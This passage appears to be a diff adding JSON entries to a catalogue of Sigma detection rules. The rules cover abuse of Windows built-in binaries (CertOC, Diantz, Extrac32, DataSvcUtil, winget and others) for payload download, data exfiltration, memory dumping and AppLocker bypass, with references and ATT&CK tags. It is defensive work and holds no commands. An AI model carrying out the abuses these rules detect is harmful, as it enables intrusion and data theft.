"proc_creation_win_lolbins_with_wmiprvse_parent_process.yml", + "author": "Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "The \"AdPlus.exe\" binary that is part of the Windows SDK can be used as a lolbin to dump process memory and execute arbitrary commands", + "uuid": "2f869d59-7f6a-4931-992c-cce556ff2d53", + "value": "Use of Adplus.exe", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Adplus/", + "https://twitter.com/nas_bench/status/1534916659676422152", + "https://twitter.com/nas_bench/status/1534915321856917506", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_adplus.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution", + "attack.t1003.001" + ], + "creation_date": "2022/06/09", + "filename": "proc_creation_win_lolbin_adplus.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate usage of Adplus" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Execute C# code with the Build Provider and proper folder structure in place.", + "uuid": "a01b8329-5953-4f73-ae2d-aa01e1f35f00", + "value": "Suspicious aspnet_compiler.exe Execution", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Aspnet_Compiler/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_aspnet_compiler.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1127" + ], + "creation_date": "2021/11/24", + "filename": "proc_creation_win_lolbin_aspnet_compiler.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Performs execution of specified file, can be used for defensive evasion.", + "uuid": "5edc2273-c26f-406c-83f3-f4d948e740dd", + "value": "Suspicious Subsystem for Linux Bash Execution", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Bash/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_bash.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1202" + ], + "creation_date": "2021/11/24", + "filename": "proc_creation_win_lolbin_bash.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects when a user downloads file by using CertOC.exe", + "uuid": "70ad0861-d1fe-491c-a45f-fa48148a300d", + "value": "Suspicious File Download via CertOC.exe", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Certoc/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_certoc_download.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ], + "creation_date": "2022/05/16", + "filename": "proc_creation_win_lolbin_certoc_download.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of Xwizard tool with specific arguments which utilized to run custom class properties.", + "uuid": "53d4bb30-3f36-4e8a-b078-69d36c4a79ff", + "value": "Custom Class Execution via Xwizard", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Xwizard/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_class_exec_xwizard.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2020/10/07", + "filename": "proc_creation_win_lolbin_class_exec_xwizard.yml", + "author": "Ensar \u015eamil, @sblmsrsn, @oscd_initiative", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Execution via SyncInvoke in CL_Invocation.ps1 module", + "uuid": "a0459f02-ac51-4c09-b511-b8c9203fc429", + "value": "Execution via CL_Invocation.ps1", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Scripts/Cl_invocation/", + "https://twitter.com/bohops/status/948061991012327424", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_cl_invocation.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1216" + ], + "creation_date": "2020/10/14", + "filename": "proc_creation_win_lolbin_cl_invocation.yml", + "author": "oscd.community, Natalia Shornikova", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of a Microsoft signed script to execute commands and bypassing AppLocker.", + "uuid": "c57872c7-614f-4d7f-a40d-b78c8df2d30d", + "value": "CL_LoadAssembly.ps1 Proxy Execution", + "meta": { + "refs": [ + "https://bohops.com/2018/01/07/executing-commands-and-bypassing-applocker-with-powershell-diagnostic-scripts/", + "https://lolbas-project.github.io/lolbas/Scripts/CL_LoadAssembly/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_cl_loadassembly.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1216" + ], + "creation_date": "2022/05/21", + "filename": "proc_creation_win_lolbin_cl_loadassembly.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of a Microsoft signed script to execute commands", + "uuid": "1e0e1a81-e79b-44bc-935b-ddb9c8006b3d", + "value": "CL_Mutexverifiers.ps1 Proxy Execution", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Scripts/CL_mutexverifiers/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_cl_mutexverifiers.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1216" + ], + "creation_date": "2022/05/21", + "filename": "proc_creation_win_lolbin_cl_mutexverifiers.yml", + "author": "oscd.community, Natalia Shornikova, frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "lolbas Cmdl32 is use to download a payload to evade antivirus", + "uuid": "f37aba28-a9e6-4045-882c-d5004043b337", + "value": "Suspicious Cmdl32 Execution", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Cmdl32/", + "https://twitter.com/SwiftOnSecurity/status/1455897435063074824", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_cmdl32.yml" + ], + "tags": [ + "attack.execution", + "attack.defense_evasion", + "attack.t1218", + "attack.t1202" + ], + "creation_date": "2021/11/03", + "filename": "proc_creation_win_lolbin_cmdl32.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Upload file, credentials or data exfiltration with Binary part of Windows Defender", + "uuid": "1f0f6176-6482-4027-b151-00071af39d7e", + "value": "Suspicious ConfigSecurityPolicy Execution", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/ConfigSecurityPolicy/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_configsecuritypolicy.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1567" + ], + "creation_date": "2021/11/26", + "filename": "proc_creation_win_lolbin_configsecuritypolicy.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries can abuse of C:\\Windows\\System32\\gatherNetworkInfo.vbs script along with cscript.exe to gather information about the target", + "uuid": "575dce0c-8139-4e30-9295-1ee75969f7fe", + "value": "GatherNetworkInfo.vbs Script Usage", + "meta": { + "refs": [ + "https://posts.slayerlabs.com/living-off-the-land/#gathernetworkinfovbs", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_cscript_gathernetworkinfo.yml" + ], + "tags": [ + "attack.discovery", + "attack.execution", + "attack.t1615", + "attack.t1059.005" + ], + "creation_date": "2022/01/03", + "filename": "proc_creation_win_lolbin_cscript_gathernetworkinfo.yml", + "author": "blueteamer8699", + "level": "medium", + "falsepositive": [ + "Administrative activity" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of CustomShellHost binary where the child isn't located in 'C:\\Windows\\explorer.exe'", + "uuid": "84b14121-9d14-416e-800b-f3b829c5a14d", + "value": "Suspicious CustomShellHost Execution", + "meta": { + "refs": [ + "https://github.com/LOLBAS-Project/LOLBAS/pull/180", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_customshellhost.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1216" + ], + "creation_date": "2022/08/19", + "filename": "proc_creation_win_lolbin_customshellhost.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects when a user performs data exfiltration by using DataSvcUtil.exe", + "uuid": "e290b10b-1023-4452-a4a9-eb31a9013b3a", + "value": "LOLBAS Data Exfiltration by DataSvcUtil.exe", + "meta": { + "refs": [ + "https://gist.github.com/teixeira0xfffff/837e5bfed0d1b0a29a7cb1e5dbdd9ca6", + "https://docs.microsoft.com/en-us/dotnet/framework/data/wcf/wcf-data-service-client-utility-datasvcutil-exe", + "https://docs.microsoft.com/en-us/dotnet/framework/data/wcf/generating-the-data-service-client-library-wcf-data-services", + "https://docs.microsoft.com/en-us/dotnet/framework/data/wcf/how-to-add-a-data-service-reference-wcf-data-services", + "https://lolbas-project.github.io/lolbas/Binaries/DataSvcUtil/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_data_exfiltration_by_using_datasvcutil.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1567" + ], + "creation_date": "2021/09/30", + "filename": "proc_creation_win_lolbin_data_exfiltration_by_using_datasvcutil.yml", + "author": "Ialle Teixeira @teixeira0xfffff, Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "DataSvcUtil.exe being used may be performed by a system administrator.", + "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "DataSvcUtil.exe being executed from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of DeviceCredentialDeployment to hide a process from view", + "uuid": "b8b1b304-a60f-4999-9a6e-c547bde03ffd", + "value": "DeviceCredentialDeployment Execution", + "meta": { + "refs": [ + "https://github.com/LOLBAS-Project/LOLBAS/pull/147", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_device_credential_deployment.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2022/08/19", + "filename": "proc_creation_win_lolbin_device_credential_deployment.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Compress target file into a cab file stored in the Alternate Data Stream (ADS) of the target file.", + "uuid": "6b369ced-4b1d-48f1-b427-fdc0de0790bd", + "value": "Suspicious Diantz Alternate Data Stream Execution", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Diantz/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_diantz_ads.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.004" + ], + "creation_date": "2021/11/26", + "filename": "proc_creation_win_lolbin_diantz_ads.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Very Possible" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Download and compress a remote file and store it in a cab file on local machine.", + "uuid": "185d7418-f250-42d0-b72e-0c8b70661e93", + "value": "Suspicious Diantz Download and Compress Into a CAB File", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Diantz/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_diantz_remote_cab.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ], + "creation_date": "2021/11/26", + "filename": "proc_creation_win_lolbin_diantz_remote_cab.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of Xwizard tool from the non-default directory which can be used to sideload a custom xwizards.dll", + "uuid": "193d5ccd-6f59-40c6-b5b0-8e32d5ddd3d1", + "value": "Xwizard DLL Sideloading", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Xwizard/", + "http://www.hexacorn.com/blog/2017/07/31/the-wizard-of-x-oppa-plugx-style/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_dll_sideload_xwizard.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1574.002" + ], + "creation_date": "2021/09/20", + "filename": "proc_creation_win_lolbin_dll_sideload_xwizard.yml", + "author": "Christian Burkard", + "level": "high", + "falsepositive": [ + "Windows installed on non-C drive" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects when a user bypasses Defender by renaming a tool to dump64.exe and placing it in a Visual Studio folder", + "uuid": "129966c9-de17-4334-a123-8b58172e664d", + "value": "Suspicious Dump64.exe Execution", + "meta": { + "refs": [ + "https://twitter.com/mrd0x/status/1460597833917251595", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_dump64.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ], + "creation_date": "2021/11/26", + "filename": "proc_creation_win_lolbin_dump64.yml", + "author": "Austin Songer @austinsonger, Florian Roth", + "level": "high", + "falsepositive": [ + "Dump64.exe in other folders than the excluded one" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries can abuse winget to download payloads remotely and execute them without touching disk. Winget will be included by default in Windows 10 and is already available in Windows 10 insider programs. The manifest option enables you to install an application by passing in a YAML file directly to the client. Winget can be used to download and install exe's, msi, msix files later.", + "uuid": "313d6012-51a0-4d93-8dfc-de8553239e25", + "value": "Monitoring Winget For LOLbin Execution", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/windows/package-manager/winget/install#local-install", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_execution_via_winget.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution", + "attack.t1059" + ], + "creation_date": "2020/04/21", + "filename": "proc_creation_win_lolbin_execution_via_winget.yml", + "author": "Sreeman, Florian Roth, Frack113", + "level": "medium", + "falsepositive": [ + "Admin activity installing packages not in the official Microsoft repo. Winget probably won't be used by most users." + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Extexport.exe loads dll and is execute from other folder the original path", + "uuid": "fb0b815b-f5f6-4f50-970f-ffe21f253f7a", + "value": "Suspicious Extexport Execution", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Extexport/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_extexport.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2021/11/26", + "filename": "proc_creation_win_lolbin_extexport.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Download or Copy file with Extrac32", + "uuid": "aa8e035d-7be4-48d3-a944-102aec04400d", + "value": "Suspicious Extrac32 Execution", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Extrac32/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_extrac32.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ], + "creation_date": "2021/11/26", + "filename": "proc_creation_win_lolbin_extrac32.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Extract data from cab file and hide it in an alternate data stream", + "uuid": "4b13db67-0c45-40f1-aba8-66a1a7198a1e", + "value": "Suspicious Extrac32 Alternate Data Stream Execution", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Extrac32/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_extrac32_ads.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.004" + ], + "creation_date": "2021/11/26", + "filename": "proc_creation_win_lolbin_extrac32_ads.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Attackers can use findstr to hide their artifacts or search specific strings and evade defense mechanism", + "uuid": "bf6c39fc-e203-45b9-9538-05397c1b4f3f", + "value": "Abusing Findstr for Defense Evasion", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Findstr/", + "https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/", + "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_findstr.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218", + "attack.t1564.004", + "attack.t1552.001", + "attack.t1105" + ], + "creation_date": "2020/10/05", + "filename": "proc_creation_win_lolbin_findstr.yml", + "author": "Furkan CALISKAN, @caliskanfurkan_, @oscd_initiative, Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Administrative findstr usage" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Execute commands and binaries from the context of \"forfiles\". This is used as a LOLBIN for example to bypass application whitelisting.", + "uuid": "9aa5106d-bce3-4b13-86df-3a20f1d5cf0b", + "value": "Use of Forfiles For Execution", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Forfiles/", + "https://pentestlab.blog/2020/07/06/indirect-command-execution/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_forfiles.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ], + "creation_date": "2022/06/14", + "filename": "proc_creation_win_lolbin_forfiles.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate use by a via a batch script or by an administrator." + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "The FSharp Interpreters, FsiAnyCpu.exe and FSi.exe, can be used for AWL bypass and is listed in Microsoft recommended block rules.", + "uuid": "b96b2031-7c17-4473-afe7-a30ce714db29", + "value": "Use of FSharp Interpreters", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules", + "https://bohops.com/2020/11/02/exploring-the-wdac-microsoft-recommended-block-rules-part-ii-wfc-fsi/", + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/FsiAnyCpu/", + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Fsi/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_fsharp_interpreters.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ], + "creation_date": "2022/06/02", + "filename": "proc_creation_win_lolbin_fsharp_interpreters.yml", + "author": "Christopher Peacock @SecurePeacock, SCYTHE @scythe_io", + "level": "medium", + "falsepositive": [ + "Legitimate use by a software developer." + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of ftp.exe script execution with the \"-s\" flag and any child processes ran by ftp.exe", + "uuid": "06b401f4-107c-4ff9-947f-9ec1e7649f1e", + "value": "LOLBIN Execution Of The FTP.EXE Binary", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Ftp/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_ftp.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059", + "attack.defense_evasion", + "attack.t1202" + ], + "creation_date": "2020/10/09", + "filename": "proc_creation_win_lolbin_ftp.yml", + "author": "Victor Sergeev, oscd.community", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of the LOLBIN gpscript, which executes logon or startup scripts configured in Group Policy", + "uuid": "1e59c230-6670-45bf-83b0-98903780607e", + "value": "Gpscript Execution", + "meta": { + "refs": [ + "https://oddvar.moe/2018/04/27/gpscript-exe-another-lolbin-to-the-list/", + "https://lolbas-project.github.io/lolbas/Binaries/Gpscript/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_gpscript.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2022/05/16", + "filename": "proc_creation_win_lolbin_gpscript.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate uses of logon scripts distributed via group policy" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detect use of ie4uinit.exe to execute commands from a specially prepared ie4uinit.inf file from a directory other than the usual directories", + "uuid": "d3bf399f-b0cf-4250-8bb4-dfc192ab81dc", + "value": "Ie4uinit Lolbin Use From Invalid Path", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Ie4uinit/", + "https://bohops.com/2018/03/10/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence-part-2/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_ie4uinit.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2022/05/07", + "filename": "proc_creation_win_lolbin_ie4uinit.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of the IEExec utility to download payloads", + "uuid": "9801abb8-e297-4dbf-9fbd-57dde0e830ad", + "value": "Abusing IEExec To Download Payloads", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Ieexec/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_ieexec_download.yml" + ], + "tags": "No established tags", + "creation_date": "2022/05/16", + "filename": "proc_creation_win_lolbin_ieexec_download.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detect use of Ilasm.exe to compile c# code into dll or exe.", + "uuid": "850d55f9-6eeb-4492-ad69-a72338f65ba4", + "value": "Ilasm Lolbin Use Compile C-Sharp", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Ilasm/", + "https://www.echotrail.io/insights/search/ilasm.exe", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_ilasm.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1127" + ], + "creation_date": "2022/05/07", + "filename": "proc_creation_win_lolbin_ilasm.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use the .NET InstallUtil.exe application in order to download arbitrary files. The files will be written to %LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\IE\\", + "uuid": "75edd216-1939-4c73-8d61-7f3a0d85b5cc", + "value": "Suspicious Execution of InstallUtil To Download", + "meta": { + "refs": [ + "https://github.com/LOLBAS-Project/LOLBAS/pull/239", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_installutil_download.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2022/08/19", + "filename": "proc_creation_win_lolbin_installutil_download.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of the LOLBIN jsc.exe used by .NET to compile javascript code to .exe or .dll format", + "uuid": "52788a70-f1da-40dd-8fbd-73b5865d6568", + "value": "JSC Convert Javascript To Executable", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Jsc/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_jsc.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1127" + ], + "creation_date": "2022/05/02", + "filename": "proc_creation_win_lolbin_jsc.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of a signed binary dropped by Kaspersky Lab Products Remover (kavremover) which can be abused as a LOLBIN to execute arbitrary commands and binaries.", + "uuid": "d047726b-c71c-4048-a99b-2e2f50dc107d", + "value": "Kavremover Dropped Binary LOLBIN Usage", + "meta": { + "refs": [ + "https://nasbench.medium.com/lolbined-using-kaspersky-endpoint-security-kes-installer-to-execute-arbitrary-commands-1c999f1b7fea", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_kavremover.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1127" + ], + "creation_date": "2022/11/01", + "filename": "proc_creation_win_lolbin_kavremover.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of the 'Launch-VsDevShell.ps1' Microsoft signed script to execute commands.", + "uuid": "45d3a03d-f441-458c-8883-df101a3bb146", + "value": "Launch-VsDevShell.PS1 Proxy Execution", + "meta": { + "refs": [ + "https://twitter.com/nas_bench/status/1535981653239255040", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_launch_vsdevshell.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1216.001" + ], + "creation_date": "2022/08/19", + "filename": "proc_creation_win_lolbin_launch_vsdevshell.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate usage of the script by a developer" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "The \"Trace log generation tool for Media Foundation Tools\" (Mftrace.exe) can be used to execute arbitrary binaries", + "uuid": "3d48c9d3-1aa6-418d-98d3-8fd3c01a564e", + "value": "Use of Mftrace.exe", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Mftrace/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_mftrace.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1127" + ], + "creation_date": "2022/06/09", + "filename": "proc_creation_win_lolbin_mftrace.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate use for tracing purposes" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of \"msdt.exe\" using an answer file which is simulating the legitimate way of calling msdt via \"pcwrun.exe\" (For example from the compatibility tab)", + "uuid": "9c8c7000-3065-44a8-a555-79bcba5d9955", + "value": "Execute MSDT Via Answer File", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Msdt/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_msdt_answer_file.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218", + "attack.execution" + ], + "creation_date": "2022/06/13", + "filename": "proc_creation_win_lolbin_msdt_answer_file.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Possible undocumented parents of \"msdt\" other than \"pcwrun\"" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of \"MSOHTMED\" to download arbitrary files", + "uuid": "459f2f98-397b-4a4a-9f47-6a5ec2f1c69d", + "value": "Download Arbitrary Files Via MSOHTMED.EXE", + "meta": { + "refs": [ + "https://github.com/LOLBAS-Project/LOLBAS/pull/238/files", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_msohtmed_download.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution", + "attack.t1218" + ], + "creation_date": "2022/08/19", + "filename": "proc_creation_win_lolbin_msohtmed_download.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of \"MSPUB\" (Microsoft Publisher) to download arbitrary files", + "uuid": "3b3c7f55-f771-4dd6-8a6e-08d057a17caf", + "value": "Download Arbitrary Files Via MSPUB.EXE", + "meta": { + "refs": [ + "https://github.com/LOLBAS-Project/LOLBAS/pull/238/files", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_mspub_download.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution", + "attack.t1218" + ], + "creation_date": "2022/08/19", + "filename": "proc_creation_win_lolbin_mspub_download.yml", + "author": 